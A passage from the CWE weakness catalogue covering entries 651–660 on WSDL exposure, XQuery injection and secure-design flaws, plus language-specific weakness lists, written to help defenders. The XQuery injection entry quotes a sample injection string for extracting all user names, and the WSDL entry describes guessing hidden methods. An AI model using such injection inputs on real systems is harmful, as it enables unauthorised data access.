##### System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		2	Environment	<b>699</b>	1
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	1000	418
ChildOf		436	Interpretation Conflict	<b>1000</b>	749
ChildOf		945	SFP Secondary Cluster: Insecure Resource Access	<b>888</b>	1371

## CWE-651: Information Exposure Through WSDL File

Weakness ID: 651 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The Web services architecture may require exposing a WSDL file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

**Extended Description**

An information exposure may occur if any of the following apply:

The WSDL file is accessible to a wider audience than intended.

The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.

Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Technology Classes**

- Web-Server (*Often*)

**Common Consequences****Confidentiality****Read application data**

The attacker may find sensitive information located in the WSDL file.

**Enabling Factors for Exploitation**

The system employs a web services architecture.

WSDL is used to advertise information on how to communicate with the service.

**Observed Examples****Description**

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

**Potential Mitigations****Architecture and Design**

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.




**Architecture and Design****Separation of Privilege**

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

**Architecture and Design**

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		538	File and Directory Information Exposure		877
				<b>699</b>	
				<b>1000</b>	
ChildOf		966	SFP Secondary Cluster: Other Exposures	<b>888</b>	1379

## CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID: 652 (Weakness Base) Status: Incomplete

**Description**

**Summary**

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

**Extended Description**

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Read application data**

An attacker might be able to read sensitive information from the XML database.

**Likelihood of Exploit**

High

**Enabling Factors for Exploitation**

XQL queries are constructed dynamically using user supplied input that has not been sufficiently validated.

**Observed Examples**

**Description**

From CAPEC 84: An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name=']\*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

**Potential Mitigations**

**Implementation**

Use parameterized queries. This will help ensure separation between data plane and control plane.

**Implementation**

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		91	XML Injection (aka Blind XPath Injection)	<input checked="" type="checkbox"/>	699 170 1000
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	<input checked="" type="checkbox"/>	<b>699</b> 1369 <b>1000</b>
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<input checked="" type="checkbox"/>	<b>888</b> 1388

**Relationship Notes**

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	46	XQuery Injection
Software Fault Patterns	SFP24	Tainted input to command

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')



## CWE-653: Insufficient Compartmentalization

Weakness ID: 653 (Weakness Base)

Status: Draft

### Description

#### Summary

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

#### Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

### Alternate Terms

#### Separation of Privilege

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

### Terminology Notes

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

#### Bypass protection mechanism

The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Compare binary / bytecode to application permission manifest

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source



**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples****Example 1:**

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

**Example 2:**

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user man pages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.





**Potential Mitigations****Architecture and Design**

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features		699 452
ChildOf		657	Violation of Secure Design Principles		<b>699</b> 1017
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		901	SFP Primary Cluster: Privilege		<b>888</b> 1328

**Relationship Notes**

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

**Causal Nature****Implicit****References**

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html> >.

**CWE-654: Reliance on a Single Factor in a Security Decision**

Weakness ID: 654 (Weakness Base)

Status: Draft

**Description**

1012

**Summary**

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

**Alternate Terms****Separation of Privilege**

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Gain privileges / assume identity**

If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.

**Non-Repudiation****Hide activities**

It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.

**Demonstrative Examples****Example 1:**

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

**Example 2:**

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

**Potential Mitigations****Architecture and Design**

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).







**Architecture and Design**

Use redundant access rules on different choke points (e.g., firewalls).

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features		699 452
ChildOf		657	Violation of Secure Design Principles		<b>699</b> 1017 <b>1000</b>
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		975	SFP Secondary Cluster: Architecture		<b>888</b> 1382
ParentOf		308	<i>Use of Single-factor Authentication</i>		1000 544
ParentOf		309	<i>Use of Password System for Primary Authentication</i>		1000 545

**Causal Nature****Implicit****Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
274	HTTP Verb Tampering	

**References**

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html> >.

**Maintenance Notes**

This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

**CWE-655: Insufficient Psychological Acceptability****Weakness ID:** 655 (*Weakness Base*)**Status:** Draft**Description****Summary**

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Bypass protection mechanism**

By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.

**Demonstrative Examples****Example 1:**

In "Usability of Security: A Case Study" [R.655.3], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

**Example 2:**

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

**Example 3:**

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

## Potential Mitigations

### Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

### Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.





### Other Notes

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features		699 452
ChildOf		657	Violation of Secure Design Principles		<b>699</b> 1017 <b>1000</b>
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		995	SFP Secondary Cluster: Feature		<b>888</b> 1392

### Causal Nature

#### Implicit

### References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005-09-15. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/354.html> >.

J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998-12-15. < <http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 14: Poor Usability." Page 217. McGraw-Hill. 2010.

## CWE-656: Reliance on Security Through Obscurity

Weakness ID: 656 (Weakness Base)

Status: Draft

### Description

#### Summary

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

#### Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

### Alternate Terms

**Never Assuming your secrets are safe**

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

## Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Other**

**Other**

The security mechanism can be bypassed easily.

## Demonstrative Examples

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

## References

Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. September 1981. < <http://www.ietf.org/rfc/rfc0793.txt> >.

## Observed Examples

Reference	Description
CVE-2005-4002	Hard-coded cryptographic key stored in executable program.
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client.
CVE-2006-7142	Hard-coded cryptographic key stored in executable program.

## Potential Mitigations

### Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.







### Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features		699 452
CanPrecede		259	Use of Hard-coded Password		1000 459
CanPrecede		321	Use of Hard-coded Cryptographic Key		1000 565
CanPrecede		472	External Control of Assumed-Immutable Web Parameter		1000 793
ChildOf		657	Violation of Secure Design Principles		<b>699</b> 1017 <b>1000</b>
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		975	SFP Secondary Cluster: Architecture		<b>888</b> 1382

## Relationship Notes

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

## Causal Nature

Implicit

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
133	Try All Common Application Switches and Options	

## References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html> >.

# CWE-657: Violation of Secure Design Principles

**Weakness ID:** 657 (*Weakness Class*)

**Status:** Draft

## Description

### Summary

The product violates well-established principles for secure design.

### Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

## Time of Introduction

- Architecture and Design
- Implementation
- Operation

## Common Consequences

Other

Other

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		17	Code	699	17
ChildOf		710	Coding Standards Violation	1000	1109
ChildOf		975	SFP Secondary Cluster: Architecture	888	1382
ParentOf		250	<i>Execution with Unnecessary Privileges</i>	699	440
				1000	
ParentOf		636	<i>Not Failing Securely ('Failing Open')</i>	699	983
				1000	
ParentOf		637	<i>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</i>	699	985
				1000	
ParentOf		638	<i>Not Using Complete Mediation</i>	699	986
				1000	
ParentOf		653	<i>Insufficient Compartmentalization</i>	699	1011
				1000	
ParentOf		654	<i>Reliance on a Single Factor in a Security Decision</i>	699	1012
				1000	
ParentOf		655	<i>Insufficient Psychological Acceptability</i>	699	1014
				1000	
ParentOf		656	<i>Reliance on Security Through Obscurity</i>	699	1015
				1000	
ParentOf		671	<i>Lack of Administrator Control over Security</i>	699	1038
				1000	

## References



Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Design Principles". 2005-09-19. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html> >.

## CWE-658: Weaknesses in Software Written in C

View ID: 658 (View: *Implicit Slice*)

Status: Draft

### Objective

This view (slice) covers issues that are found in C programs that are not common to all languages.

### View Data

#### Filter Used:

./Applicable\_Platforms//@Language\_Name='C'

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>81</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	3	out of	244
<b>Weaknesses</b>	76	out of	719
<b>Compound Elements</b>	2	out of	8

### CWEs Included in this View

Type	ID	Name
B	14	Compiler Removal of Code to Clear Buffers
G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
B	134	Uncontrolled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
B	170	Improper Null Termination
B	188	Reliance on Data/Memory Layout
B	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error
B	194	Unexpected Sign Extension
V	195	Signed to Unsigned Conversion Error
V	196	Unsigned to Signed Conversion Error
B	197	Numeric Truncation Error
B	242	Use of Inherently Dangerous Function
V	243	Creation of chroot Jail Without Changing Working Directory
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')
C	251	Often Misused: String Management
G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	364	Signal Handler Race Condition



Type	ID	Name
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
C	387	Signal Errors
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
V	415	Double Free
B	416	Use After Free
V	457	Use of Uninitialized Variable
V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (AList)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
V	467	Use of sizeof() on a Pointer Type
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	474	Use of Function with Inconsistent Implementations
B	476	NULL Pointer Dereference
V	478	Missing Default Case in Switch Statement
V	479	Signal Handler Use of a Non-reentrant Function
B	480	Use of Incorrect Operator
V	481	Assigning instead of Comparing
V	482	Comparing instead of Assigning
V	483	Incorrect Block Delimitation
B	484	Omitted Break Statement in Switch
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field
V	558	Use of getlogin() in Multithreaded Application
V	560	Use of umask() with chmod-style Argument
B	562	Return of Stack Variable Address
B	587	Assignment of a Fixed Address to a Pointer
B	676	Use of Potentially Dangerous Function
V	685	Function Call With Incorrect Number of Arguments
V	688	Function Call With Incorrect Variable or Reference as Argument
⚙	689	Permission Race Condition During Resource Copy
∞	690	Unchecked Return Value to NULL Pointer Dereference
C	704	Incorrect Type Conversion or Cast
B	733	Compiler Optimization Removal or Modification of Security-critical Code
V	762	Mismatched Memory Management Routines
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	783	Operator Precedence Logic Error
V	785	Use of Path Manipulation Function without Maximum-sized Buffer
V	789	Uncontrolled Memory Allocation
B	805	Buffer Access with Incorrect Length Value
V	806	Buffer Access Using Size of Source Buffer
B	839	Numeric Range Comparison Without Minimum Check
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
B	910	Use of Expired File Descriptor

Type	ID	Name
B	911	Improper Update of Reference Count

## CWE-659: Weaknesses in Software Written in C++

View ID: 659 (View: *Implicit Slice*)

Status: Draft

### Objective

This view (slice) covers issues that are found in C++ programs that are not common to all languages.

### View Data

#### Filter Used:

```
./Applicable_Platforms//@Language_Name='C++'
```

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>85</b>	out of	<b>1003</b>
<b>Views</b>	0	out of	32
<b>Categories</b>	3	out of	244
<b>Weaknesses</b>	81	out of	719
<b>Compound Elements</b>	1	out of	8

### CWEs Included in this View

Type	ID	Name
B	14	Compiler Removal of Code to Clear Buffers
G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
B	134	Uncontrolled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
B	170	Improper Null Termination
B	188	Reliance on Data/Memory Layout
B	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error
B	194	Unexpected Sign Extension
V	195	Signed to Unsigned Conversion Error
V	196	Unsigned to Signed Conversion Error
B	197	Numeric Truncation Error
B	242	Use of Inherently Dangerous Function
V	243	Creation of chroot Jail Without Changing Working Directory
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')
B	248	Uncaught Exception
C	251	Often Misused: String Management
G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	364	Signal Handler Race Condition

Type	ID	Name
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
C	387	Signal Errors
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
V	415	Double Free
B	416	Use After Free
V	457	Use of Uninitialized Variable
V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
V	467	Use of sizeof() on a Pointer Type
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	476	NULL Pointer Dereference
V	478	Missing Default Case in Switch Statement
V	479	Signal Handler Use of a Non-reentrant Function
B	480	Use of Incorrect Operator
V	481	Assigning instead of Comparing
V	482	Comparing instead of Assigning
V	483	Incorrect Block Delimitation
B	484	Omitted Break Statement in Switch
V	493	Critical Public Variable Without Final Modifier
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field
V	498	Cloneable Class Containing Sensitive Information
V	500	Public Static Field Not Marked Final
V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
V	558	Use of getlogin() in Multithreaded Application
B	562	Return of Stack Variable Address
B	587	Assignment of a Fixed Address to a Pointer
B	676	Use of Potentially Dangerous Function
∞	690	Unchecked Return Value to NULL Pointer Dereference
G	704	Incorrect Type Conversion or Cast
B	733	Compiler Optimization Removal or Modification of Security-critical Code
V	762	Mismatched Memory Management Routines
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	783	Operator Precedence Logic Error
V	785	Use of Path Manipulation Function without Maximum-sized Buffer
V	789	Uncontrolled Memory Allocation
B	805	Buffer Access with Incorrect Length Value
V	806	Buffer Access Using Size of Source Buffer
B	839	Numeric Range Comparison Without Minimum Check

Type	ID	Name
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
B	910	Use of Expired File Descriptor
B	911	Improper Update of Reference Count

## CWE-660: Weaknesses in Software Written in Java

View ID: 660 (View: *Implicit Slice*)

Status: Draft

### Objective

This view (slice) covers issues that are found in Java programs that are not common to all languages.

### View Data

#### Filter Used:

```
./Applicable_Platforms//@Language_Name='Java'
```

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>74</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>2</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>72</b>	out of	<b>719</b>
<b>Compound_Elements</b>	<b>0</b>	out of	<b>8</b>

### CWEs Included in this View

Type	ID	Name
V	5	J2EE Misconfiguration: Data Transmission Without Encryption
V	6	J2EE Misconfiguration: Insufficient Session-ID Length
V	7	J2EE Misconfiguration: Missing Custom Error Page
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
C	101	Struts Validation Problems
V	102	Struts: Duplicate Validation Forms
V	103	Struts: Incomplete validate() Method Definition
V	104	Struts: Form Bean Does Not Extend Validation Class
V	105	Struts: Form Field Without Validator
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
V	108	Struts: Unvalidated Action Form
V	109	Struts: Validator Turned Off
V	110	Struts: Validator Without Form Field
B	111	Direct Use of Unsafe JNI
B	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error
B	197	Numeric Truncation Error
V	245	J2EE Bad Practices: Direct Management of Connections
V	246	J2EE Bad Practices: Direct Use of Sockets
B	248	Uncaught Exception
C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
V	382	J2EE Bad Practices: Use of System.exit()
V	383	J2EE Bad Practices: Direct Use of Threads
B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference

Type	ID	Name
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (Alist)
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	476	NULL Pointer Dereference
V	478	Missing Default Case in Switch Statement
V	481	Assigning instead of Comparing
B	484	Omitted Break Statement in Switch
V	486	Comparison of Classes by Name
V	487	Reliance on Package-level Scope
V	491	Public cloneable() Method Without Final ('Object Hijack')
V	492	Use of Inner Class Containing Sensitive Data
V	493	Critical Public Variable Without Final Modifier
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field
V	498	Cloneable Class Containing Sensitive Information
V	499	Serializable Class Containing Sensitive Data
V	500	Public Static Field Not Marked Final
V	502	Deserialization of Untrusted Data
V	537	Information Exposure Through Java Runtime Error Message
V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
V	545	Use of Dynamic Class Loading
V	568	finalize() Method Without super.finalize()
V	572	Call to Thread run() instead of start()
V	574	EJB Bad Practices: Use of Synchronization Primitives
V	575	EJB Bad Practices: Use of AWT Swing
V	576	EJB Bad Practices: Use of Java I/O
V	577	EJB Bad Practices: Use of Sockets
V	578	EJB Bad Practices: Use of Class Loader
V	579	J2EE Bad Practices: Non-serializable Object Stored in Session
V	580	clone() Method Without super.clone()
B	581	Object Model Violation: Just One of Equals and Hashcode Defined
V	582	Array Declared Public, Final, and Static
V	583	finalize() Method Declared Public
V	585	Empty Synchronized Block
V	586	Explicit Call to Finalize()
V	594	J2EE Framework: Saving Unserializable Objects to Disk
B	595	Comparison of Object References Instead of Object Contents
V	607	Public Static Final Field References Mutable Object
V	608	Struts: Non-private Field in ActionForm Class
B	609	Double-Checked Locking
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
